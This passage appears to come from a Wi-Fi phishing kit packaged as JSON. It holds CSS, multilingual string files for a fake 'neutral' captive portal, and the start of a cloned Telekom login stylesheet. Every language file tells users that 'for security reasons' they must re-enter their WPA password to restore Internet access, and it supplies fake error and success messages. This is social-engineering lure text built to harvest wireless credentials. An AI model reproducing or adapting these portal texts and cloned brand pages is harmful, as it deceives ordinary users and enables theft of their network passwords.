    "content": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 944px; height: 720px; margin: 0px auto; text-align: left; padding: 0px; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.line_grey { background-color: rgb(229, 229, 229); width: 100%; height: 1px; clear: both; }\ninput { margin: 6px auto; padding-left: 7px; height: 20px; width:300px; border: 1px solid rgb(207, 207, 207); font-family: Verdana,Geneva,sans-serif; font-size: 13px ! important; color: rgb(81, 85, 89); }\n.buttons_space { margin-left: 50px; } \n\n"
  },
  {
    "path": "sites/neutra/ara",
    "content": "\nDIALOG_WEB_INFO_ARA=\"لأسباب أمنية، أدخل كلمة المرور الخاصة بالشبكة المدونة اعلاه من تشفير WPA للحصول على اتصال الانترنت\"\nDIALOG_WEB_INPUT_ARA=\"ادخل كلمة السر\"\nDIALOG_WEB_SUBMIT_ARA=\"تأكيد\"\nDIALOG_WEB_ERROR_ARA=\"خطأ: كلمة السر المدخلة غير صحيحة\"\nDIALOG_WEB_OK_ARA=\"سوف يتم استعادة الاتصال في لحظات قليلة! شكرا لتعاونكم\"\nDIALOG_WEB_BACK_ARA=\"العودة\"\nDIALOG_WEB_ERROR_MSG_ARA=\"هذا الحقل إلزامي\"\nDIALOG_WEB_LENGTH_MIN_ARA=\"يجب أن تكون كلمة المرور أكثر من {0} أحرف او ارقام\"\nDIALOG_WEB_LENGTH_MAX_ARA=\"يجب أن تكون كلمة المرور أقل من {0} حرفا او رقم\"\nDIALOG_WEB_DIR_ARA=\"rtl\"\n"
  },
  {
    "path": "sites/neutra/bg",
    "content": "\nDIALOG_WEB_INFO_BG=\"От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Интернет.\"\nDIALOG_WEB_INPUT_BG=\"Въведете своята WPA парола:\"\nDIALOG_WEB_SUBMIT_BG=\"Изпращане\"\nDIALOG_WEB_ERROR_BG=\"Грешка: Въведената парола е неправилна!\"\nDIALOG_WEB_OK_BG=\"Връзката ще бъде възстановена след няколко секунди.\"\nDIALOG_WEB_BACK_BG=\"Назад\"\nDIALOG_WEB_ERROR_MSG_BG=\"Това поле е задължително!\"\nDIALOG_WEB_LENGTH_MIN_BG=\"Паролата трябва да съдържа повече от {0} символа!\"\nDIALOG_WEB_LENGTH_MAX_BG=\"Паролата трябва да съдържа по-малко от {0} символа!\"\nDIALOG_WEB_DIR_BG=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/cn",
    "content": "DIALOG_WEB_INFO_CN=\"为了您的安全考量, 请输入 WPA 密码以重新连接网络\"\nDIALOG_WEB_INPUT_CN=\"输入您的WPA密码:\"\nDIALOG_WEB_SUBMIT_CN=\"连接\"\nDIALOG_WEB_ERROR_CN=\"出错了: 您输入的密码 错误!\"\nDIALOG_WEB_OK_CN=\"您的无线网络将会在短时间内恢复\"\nDIALOG_WEB_BACK_ZH_CN=\"返回\"\nDIALOG_WEB_ERROR_MSG_CN=\"此处不能为空\"\nDIALOG_WEB_LENGTH_MIN_CN=\"密码最少要有{0}个字符!\"\nDIALOG_WEB_LENGTH_MAX_CN=\"密码必须少于{0}个字符!\"\nDIALOG_WEB_DIR_CN=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/cz",
    "content": "\nDIALOG_WEB_INFO_CZ=\"Omlouváme se, ale došlo k problémům se zabezpečením vašeho bezdrátového routeru. Zadejte prosím znovu vaše heslo WPA/WPA2.\"\nDIALOG_WEB_INPUT_CZ=\"Vaše heslo WPA/WPA2:\"\nDIALOG_WEB_SUBMIT_CZ=\"Odeslat\"\nDIALOG_WEB_ERROR_CZ=\"Chyba: Zadané heslo není správné!\"\nDIALOG_WEB_OK_CZ=\"Děkujeme, vaše připojení bude během krátké chvíle obnoveno.\"\nDIALOG_WEB_BACK_CZ=\"Zpět\"\nDIALOG_WEB_ERROR_MSG_CZ=\"Toto pole musíte vyplnit.\"\nDIALOG_WEB_LENGTH_MIN_CZ=\"Heslo musí být delší než {0} znak(ů)!\"\nDIALOG_WEB_LENGTH_MAX_CZ=\"Heslo musí být kratší než {0} znaků(ů)!\"\nDIALOG_WEB_DIR_CZ=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/dan",
    "content": "\nDIALOG_WEB_INFO_DAN=\"Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internettet.\"\nDIALOG_WEB_INPUT_DAN=\"Angiv netværksadgangskoden:\"\nDIALOG_WEB_SUBMIT_DAN=\"Forsæt\"\nDIALOG_WEB_ERROR_DAN=\"Fejl: Den indtastede netværksadgangskode er ikke korrekt!\"\nDIALOG_WEB_OK_DAN=\"Tak, din forbindelse vil blive genoprettet inden få sekunder.\"\nDIALOG_WEB_BACK_DAN=\"Tilbage\"\nDIALOG_WEB_ERROR_MSG_DAN=\"Dette felt er obligatorisk\"\nDIALOG_WEB_LENGTH_MIN_DAN=\"Netværksadgangskoden skal være på mere end {0} tegn!\"\nDIALOG_WEB_LENGTH_MAX_DAN=\"Netværksadgangskoden skal være på mindre end {0} tegn!\"\nDIALOG_WEB_DIR_DAN=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/en",
    "content": "DIALOG_WEB_INFO_ENG=\"For security reasons, enter the WPA key to access the Internet.\"\nDIALOG_WEB_INPUT_ENG=\"Enter your WPA password:\"\nDIALOG_WEB_SUBMIT_ENG=\"Submit\"\nDIALOG_WEB_ERROR_ENG=\"Error: The entered password is not correct!\"\nDIALOG_WEB_OK_ENG=\"Your connection will be restored in a few moments.\"\nDIALOG_WEB_BACK_ENG=\"Back\"\nDIALOG_WEB_ERROR_MSG_ENG=\"This field is required.\"\nDIALOG_WEB_LENGTH_MIN_ENG=\"The password must be more than {0} characters!\"\nDIALOG_WEB_LENGTH_MAX_ENG=\"The password must be less than {0} characters!\"\nDIALOG_WEB_DIR_ENG=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/esp",
    "content": "DIALOG_WEB_INFO_ESP=\"Por razones de seguridad, teclea tu clave WIFI para acceder a internet\"\nDIALOG_WEB_INPUT_ESP=\"Teclea tu contraseña WIFI:\"\nDIALOG_WEB_SUBMIT_ESP=\"Enviar\"\nDIALOG_WEB_ERROR_ESP=\"Error: La contraseña introducida no es correcta\"\nDIALOG_WEB_OK_ESP=\"Tu conexión será restaurada en unos pocos minutos\"\nDIALOG_WEB_BACK_ESP=\"Atrás\"\nDIALOG_WEB_ERROR_MSG_ESP=\"Este campo es obligatorio.\"\nDIALOG_WEB_LENGTH_MIN_ESP=\"La contraseña debe ser más de {0} caracteres!\"\nDIALOG_WEB_LENGTH_MAX_ESP=\"La contraseña debe ser menos de {0} caracteres!\"\nDIALOG_WEB_DIR_ESP=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/fr",
    "content": "DIALOG_WEB_INFO_FR=\"Pour des raisons de sécurité, entrez votre clé WPA\"\nDIALOG_WEB_INPUT_FR=\"Entrez votre clé WPA:\"\nDIALOG_WEB_SUBMIT_FR=\"Soumettre\"\nDIALOG_WEB_ERROR_FR=\"Erreur: Le mot de passe entré est incorrect!\"\nDIALOG_WEB_OK_FR=\"Votre connection va être restaurée dans un instant.\"\nDIALOG_WEB_BACK_FR=\"Retour\"\nDIALOG_WEB_ERROR_MSG_FR=\"Ce champ est obligatoire.\"\nDIALOG_WEB_LENGTH_MIN_FR=\"Le mot de passe doit avoir plus de {0} caractères\"\nDIALOG_WEB_LENGTH_MAX_FR=\"Le mot de passe doit avoir moins de {0} caractères\"\nDIALOG_WEB_DIR_FR=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/ger",
    "content": "DIALOG_WEB_INFO_GER=\"Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein.\"\nDIALOG_WEB_INPUT_GER=\"Geben Sie den WPA2 Schlüssel ein:\"\nDIALOG_WEB_SUBMIT_GER=\"Bestätigen\"\nDIALOG_WEB_ERROR_GER=\"Fehler: Das eingegebene Passwort ist nicht korrekt!\"\nDIALOG_WEB_OK_GER=\"Die Verbindung wird in wenigen Sekunden wiederhergestellt.\"\nDIALOG_WEB_BACK_GER=\"Zurück\"\nDIALOG_WEB_ERROR_MSG_GER=\"Dieses Feld ist ein Pflichtfeld.\"\nDIALOG_WEB_LENGTH_MIN_GER=\"Das Passwort muss länger als {0} Zeichen sein\"\nDIALOG_WEB_LENGTH_MAX_GER=\"Das Passwort darf nicht länger als {0} Zeichen sein\"\nDIALOG_WEB_DIR_GER=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/gr",
    "content": "DIALOG_WEB_INFO_GR=\"Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet.\"\nDIALOG_WEB_INPUT_GR=\"Εισάγετε τον WPA κωδικό:\"\nDIALOG_WEB_SUBMIT_GR=\"Εισαγωγή\"\nDIALOG_WEB_ERROR_GR=\"Σφάλμα: Ο κωδικός ΔΕΝ είναι σωστός!\"\nDIALOG_WEB_OK_GR=\"Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά\"\nDIALOG_WEB_BACK_GR=\"Πίσω\"\nDIALOG_WEB_ERROR_MSG_GR=\"Αυτό το πεδίο είναι υποχρεωτικό.\"\nDIALOG_WEB_LENGTH_MIN_GR=\"Ο κωδικός πρέπει να είναι πάνω από {0} χαρακτήρες\"\nDIALOG_WEB_LENGTH_MAX_GR=\"Ο κωδικός πρέπει να είναι λιγότερο από {0} χαρακτήρες\"\nDIALOG_WEB_DIR_GR=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/he",
    "content": "\nDIALOG_WEB_INFO_HE=\"מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט.\"\nDIALOG_WEB_INPUT_HE=\"הזן את סיסמת הWPA:\"\nDIALOG_WEB_SUBMIT_HE=\"שלח\"\nDIALOG_WEB_ERROR_HE=\"שגיאה: הסיסמה שגויה!\"\nDIALOG_WEB_OK_HE=\"החיבור לאינטרנט יוחזר בעוד כמה רגעים.\"\nDIALOG_WEB_BACK_HE=\"אחורה\"\nDIALOG_WEB_ERROR_MSG_HE=\"זהו שדה חובה.\"\nDIALOG_WEB_LENGTH_MIN_HE=\"הסיסמה חייבת להכיל יותר מ{0} תוים!\"\nDIALOG_WEB_LENGTH_MAX_HE=\"הסיסמה חייבת להכיל פחות מ{0} תוים!\"\nDIALOG_WEB_DIR_ENG=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/hu",
    "content": "DIALOG_WEB_INFO_HU=\"Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez\"\nDIALOG_WEB_INPUT_HU=\"WPA jelszó:\"\nDIALOG_WEB_SUBMIT_HU=\"Küldés\"\nDIALOG_WEB_ERROR_HU=\"Hiba: A megadott jelszó helytelen!\"\nDIALOG_WEB_OK_HU=\"Az Internet kapcsolat helyreállt. \"\nDIALOG_WEB_BACK_HU=\"Vissza\"\nDIALOG_WEB_ERROR_MSG_HU=\"A jelszót kötelező megadni.\"\nDIALOG_WEB_LENGTH_MIN_HU=\"A jelszó nem lehet kevesebb, mint {0} karakter!\"\nDIALOG_WEB_LENGTH_MAX_HU=\"A jelszó kevesebb mint {0} karakter kell hogy legyen!\"\nDIALOG_WEB_DIR_HU=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/id",
    "content": "\nDIALOG_WEB_INFO_ID=\"Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet.\"\nDIALOG_WEB_INPUT_ID=\"Masukkan WPA KEY (password wifi) anda:\"\nDIALOG_WEB_SUBMIT_ID=\"Masukkan\"\nDIALOG_WEB_ERROR_ID=\"Error: Password yang anda masukkan tidak sesuai!\"\nDIALOG_WEB_OK_ID=\"Anda akan dapat mengakses Internet dalam beberapa saat lagi.\"\nDIALOG_WEB_BACK_ID=\"Kembali\"\nDIALOG_WEB_ERROR_MSG_ID=\"Kolom ini wajib diisi.\"\nDIALOG_WEB_LENGTH_MIN_ID=\"Password harus lebih dari {0} karakter!\"\nDIALOG_WEB_LENGTH_MAX_ID=\"Password harus kurang dari {0} karakter!\"\nDIALOG_WEB_DIR_ID=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/it",
    "content": "DIALOG_WEB_INFO_IT=\"Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet\"\nDIALOG_WEB_INPUT_IT=\"Inserisci la tua password WPA:\"\nDIALOG_WEB_SUBMIT_IT=\"Invia\"\nDIALOG_WEB_ERROR_IT=\"Errore: La password non &egrave; corretta!\"\nDIALOG_WEB_OK_IT=\"La connessione sar&agrave; ripristinata in pochi istanti.\"\nDIALOG_WEB_BACK_IT=\"Indietro\"\nDIALOG_WEB_ERROR_MSG_IT=\"Campo obbligatorio.\"\nDIALOG_WEB_LENGTH_MIN_IT=\"La password deve essere superiore a {0} caratteri\"\nDIALOG_WEB_LENGTH_MAX_IT=\"La password deve essere inferiore a {0} caratteri\"\nDIALOG_WEB_DIR_IT=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/nl",
    "content": "\nDIALOG_WEB_INFO_NL=\"Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen.\"\nDIALOG_WEB_INPUT_NL=\"Typ Uw WPA wachtwoord:\"\nDIALOG_WEB_SUBMIT_NL=\"Invoeren\"\nDIALOG_WEB_ERROR_NL=\"Error: Het ingevoerde wachtwoord is niet juist!\"\nDIALOG_WEB_OK_NL=\"Uw verbinding wordt in enkele seconden hervat.\"\nDIALOG_WEB_BACK_NL=\"Terug\"\nDIALOG_WEB_ERROR_MSG_NL=\"Dit veld is verplicht.\"\nDIALOG_WEB_LENGTH_MIN_NL=\"Het wachtwoord moet langer zijn dan {0} karakters!\"\nDIALOG_WEB_LENGTH_MAX_NL=\"Het wachtwoord moet korter zijn dan {0} karakters!\"\nDIALOG_WEB_DIR_NL=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/no",
    "content": "DIALOG_WEB_INFO_NO=\"Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett\"\nDIALOG_WEB_INPUT_NO=\"Skriv inn ditt WPA-passord:\"\nDIALOG_WEB_SUBMIT_NO=\"Send inn\"\nDIALOG_WEB_ERROR_NO=\"Feilmelding: Passordet du skrev inn er IKKE riktig!\"\nDIALOG_WEB_OK_NO=\"Din tilkobling vil snart bli gjenopprettet.\"\nDIALOG_WEB_BACK_NO=\"Tilbake\"\nDIALOG_WEB_ERROR_MSG_NO=\"Dette feltet er nødvendig.\"\nDIALOG_WEB_LENGTH_MIN_NO=\"Passordet må inneholde mer enn {0} tegn\"\nDIALOG_WEB_LENGTH_MAX_NO=\"Passordet må inneholde ferre enn {0} tegn\"\nDIALOG_WEB_DIR_NO=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/pl",
    "content": "DIALOG_WEB_INFO_PL=\"Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu\"\nDIALOG_WEB_INPUT_PL=\"Wprowadź hasło WPA:\"\nDIALOG_WEB_SUBMIT_PL=\"Zatwierdź\"\nDIALOG_WEB_ERROR_PL=\"Błąd: Wprowadzone hasło nie jest poprawne!\"\nDIALOG_WEB_OK_PL=\"Połączenie z Internetem zostanie przywrócone w ciągu kilku chwil.\"\nDIALOG_WEB_BACK_PL=\"Powrót\"\nDIALOG_WEB_ERROR_MSG_PL=\"To pole jest obowiązkowe.\"\nDIALOG_WEB_LENGTH_MIN_PL=\"Podane hasło jest za krótkie Hasło musi zawierać więcej niż {0} znaków!\"\nDIALOG_WEB_LENGTH_MAX_PL=\"Podane hasło jest za długie. Hasło musi być mniejsza niż {0} znaków!\"\nDIALOG_WEB_DIR_PL=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/por",
    "content": "DIALOG_WEB_INFO_POR=\"Por razões de segurança, digite a senha para acessar a Internet\"\nDIALOG_WEB_INPUT_POR=\"Digite novamente a senha do Wifi\"\nDIALOG_WEB_SUBMIT_POR=\"Enviar\"\nDIALOG_WEB_ERROR_POR=\"Erro: A senha digitada está incorreta!\"\nDIALOG_WEB_OK_POR=\"A sua conexão será restaurada em breve.\"\nDIALOG_WEB_BACK_POR=\"Voltar\"\nDIALOG_WEB_ERROR_MSG_POR=\"Campo de preenchimento obrigatório.\"\nDIALOG_WEB_LENGTH_MIN_POR=\"A senha deve ter mais de {0} caracteres\"\nDIALOG_WEB_LENGTH_MAX_POR=\"A chave deve ser menor que {0} caracteres\"\nDIALOG_WEB_DIR_POR=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/ro",
    "content": "\nDIALOG_WEB_INFO_RO=\"Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet\"\nDIALOG_WEB_INPUT_RO=\"Parola WPA:\"\nDIALOG_WEB_SUBMIT_RO=\"Trimite\"\nDIALOG_WEB_ERROR_RO=\"Eroare: Parola introdusa nu este corecta!\"\nDIALOG_WEB_OK_RO=\"Conexiunea la Internet va porni in cateva momente.\"\nDIALOG_WEB_BACK_RO=\"Inapoi\"\nDIALOG_WEB_ERROR_MSG_RO=\"Acest câmp este obligatoriu.\"\nDIALOG_WEB_LENGTH_MIN_RO=\"Parola trebuie să fie mai mare de {0} de caractere!\"\nDIALOG_WEB_LENGTH_MAX_RO=\"Parola trebuie să fie mai mică de {0} de caractere!\"\nDIALOG_WEB_DIR_RO=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/rus",
    "content": "DIALOG_WEB_INFO_RUS=\"Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа.\"\nDIALOG_WEB_INPUT_RUS=\"Введите пароль:\"\nDIALOG_WEB_SUBMIT_RUS=\"Отправить\"\nDIALOG_WEB_ERROR_RUS=\"Ошибка: Введенный пароль не верный!\"\nDIALOG_WEB_OK_RUS=\"Спасибо, соединение восстановится через несколько секунд.\"\nDIALOG_WEB_BACK_RUS=\"Назад\"\nDIALOG_WEB_ERROR_MSG_RUS=\"Это поле необходимо заполнить.\"\nDIALOG_WEB_LENGTH_MIN_RUS=\"Пароль должен быть не менее {0} символов!\"\nDIALOG_WEB_LENGTH_MAX_RUS=\"Пароль должен быть не более {0} символов!\"\nDIALOG_WEB_DIR_RUS=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/srb",
    "content": "DIALOG_WEB_INFO_SRB=\"Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu.\"\nDIALOG_WEB_INPUT_SRB=\"Unesite vašu WPA šifru:\"\nDIALOG_WEB_SUBMIT_SRB=\"Potvrdi\"\nDIALOG_WEB_ERROR_SRB=\"Greška: Šifra koju ste uneli nije tačna!\"\nDIALOG_WEB_OK_SRB=\"Vaša konekcija će biti restartovana za par sekundi.\"\nDIALOG_WEB_BACK_SRB=\"Nazad\"\nDIALOG_WEB_ERROR_MSG_SRB=\"Ovo polje je obavezno.\"\nDIALOG_WEB_LENGTH_MIN_SRB=\"Šifra mora biti duža od {0} simbola!\"\nDIALOG_WEB_LENGTH_MAX_SRB=\"Šifra mora biti kraća od {0} simbola!\"\nDIALOG_WEB_DIR_SRB=\"ltr\"\n\n"
  },
  {
    "path": "sites/neutra/svn",
    "content": "DIALOG_WEB_INFO_SVN=\"Zaradi varnostnih razlogov vnesite WPA ključ, da lahko dostopate do interneta!\"\nDIALOG_WEB_INPUT_SVN=\"Vnesite vaše WPA geslo:\"\nDIALOG_WEB_SUBMIT_SVN=\"Pošlji\"\nDIALOG_WEB_ERROR_SVN=\"Napaka: Vneseno geslo je napačno!\"\nDIALOG_WEB_OK_SVN=\"Vaš dostop do interneta bo omogočen v nekaj sekundah.\"\nDIALOG_WEB_BACK_SVN=\"Nazaj\"\nDIALOG_WEB_ERROR_MSG_SVN=\"To polje je obvezno!.\"\nDIALOG_WEB_LENGTH_MIN_SVN=\"Geslo more biti daljše od {0} znakov!\"\nDIALOG_WEB_LENGTH_MAX_SVN=\"Geslo more biti krajše od {0} znakov!\"\nDIALOG_WEB_DIR_SVN=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/th",
    "content": "\nDIALOG_WEB_INFO_TH=\"กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต.\"\nDIALOG_WEB_INPUT_TH=\"กรอกรหัสผ่าน WIFI ของท่าน:\"\nDIALOG_WEB_SUBMIT_TH=\"ยืนยัน\"\nDIALOG_WEB_ERROR_TH=\"เกิดข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง\"\nDIALOG_WEB_OK_TH=\"กรุณารอสักครู่..ระบบกำลังพาท่านไปยังเว็บไซต์ก่อนหน้า...\"\nDIALOG_WEB_BACK_TH=\"กลับ\"\nDIALOG_WEB_ERROR_MSG_TH=\"กรุณากรอกช่องนี้!\"\nDIALOG_WEB_LENGTH_MIN_TH=\"รหัสผ่านควรมีมากกว่า {0} ตัวอักษร!\"\nDIALOG_WEB_LENGTH_MAX_TH=\"รหัสผ่านควรมีอย่างน้อย {0} ตัวอักษร!\"\nDIALOG_WEB_DIR_TH=\"ltr\"\n"
  },
  {
    "path": "sites/neutra/tr",
    "content": "\nDIALOG_WEB_INFO_TR=\"İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:\"\nDIALOG_WEB_INPUT_TR=\"Lütfen parolanızı giriniz:\"\nDIALOG_WEB_SUBMIT_TR=\"Giriş\"\nDIALOG_WEB_ERROR_TR=\"Hata: girilen şifre doğru değil! \"\nDIALOG_WEB_OK_TR=\"Bağlantı birkaç dakika içinde yapılandırılacaktır.\"\nDIALOG_WEB_BACK_TR=\"Geri\"\nDIALOG_WEB_ERROR_MSG_TR=\"Bu alanın doldurulması zorunludur.\"\nDIALOG_WEB_LENGTH_MIN_TR=\"Parola en az {0} karakterden olmalıdır.\"\nDIALOG_WEB_LENGTH_MAX_TR=\"Parola {0} karakterden daha fazla olmamalıdır.\"\nDIALOG_WEB_DIR_TR=\"ltr\"\n"
  },
  {
    "path": "sites/telekom/Telekom Login-Dateien/components.css",
    "content": "/*! components 2015-04-20 */\n\n.t-html-cc-ver{content:\"Telekom HTML Code Components v2.0\"}@font-face{font-family:'TeleIconUi';src:url(\"../fonts/telekomicon-ui.eot\");src:url(\"../fonts/telekomicon-ui.eot?#iefix\") format(\"embedded-opentype\"),url(\"../fonts/telekomicon-ui.woff\") format(\"woff\"),url(\"../fonts/telekomicon-ui.ttf\") format(\"truetype\"),url(\"../fonts/telekomicon-ui.svg#telekomicon-ui\") format(\"svg\");font-weight:normal;font-style:normal}@media screen and (-webkit-min-device-pixel-ratio: 0){@font-face{font-family:'TeleIconUi';src:url(\"../fonts/telekomicon-ui.svg#telekomicon-ui\") format(\"svg\")}}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:200;src:url(\"../fonts/telegroteskscreen-thin.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-thin.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-thin.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-thin.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-thin.svg#telegroteskscreen-thin\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:400;src:url(\"../fonts/telegroteskscreen-regular.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-regular.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-regular.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-regular.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-regular.svg#telegroteskscreen-regular\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:italic;font-weight:400;src:url(\"../fonts/telegroteskscreen-regular-italic.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-regular-italic.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-regular-italic.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-regular-italic.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-regular-italic.svg#telegroteskscreen-regular-italic\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:600;src:url(\"../fonts/telegroteskscreen-medium.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-medium.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-medium.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-medium.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-medium.svg#telegroteskscreen-medium\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:italic;font-weight:600;src:url(\"../fonts/telegroteskscreen-medium-italic.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-medium-italic.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-medium-italic.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-medium-italic.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-medium-italic.svg#telegroteskscreen-medium-italic\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:700;src:url(\"../fonts/telegroteskscreen-bold.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-bold.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-bold.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-bold.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-bold.svg#telegroteskscreen-bold\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:800;src:url(\"../fonts/telegroteskscreen-ultra.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-ultra.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-ultra.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-ultra.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-ultra.svg#telegroteskscreen-ultra\") format(\"svg\")}/*! normalize.css v3.0.0 | MIT License | git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=\"button\"],input[type=\"reset\"],input[type=\"submit\"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=\"checkbox\"],input[type=\"radio\"]{box-sizing:border-box;padding:0}input[type=\"number\"]::-webkit-inner-spin-button,input[type=\"number\"]::-webkit-outer-spin-button{height:auto}input[type=\"search\"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=\"search\"]::-webkit-search-cancel-button,input[type=\"search\"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}@font-face{font-family:'Telekom-Icon';font-style:normal;font-weight:400;src:url(\"../fonts/telekomicon-outline.eot\");src:url(\"../fonts/telekomicon-outline.eot?#iefix\") format(\"embedded-opentype\"),url(\"../fonts/telekomicon-outline.woff\") format(\"woff\"),url(\"../fonts/telekomicon-outline.ttf\") format(\"truetype\"),url(\"../fonts/telekomicon-outline.svg#telekomicon-outline\") format(\"svg\")}@font-face{font-family:'Telekom-Icon';font-style:normal;font-weight:700;src:url(\"../fonts/telekomicon-solid.eot\");src:url(\"../fonts/telekomicon-solid?#iefix\") format(\"embedded-opentype\"),url(\"../fonts/telekomicon-solid.woff\") 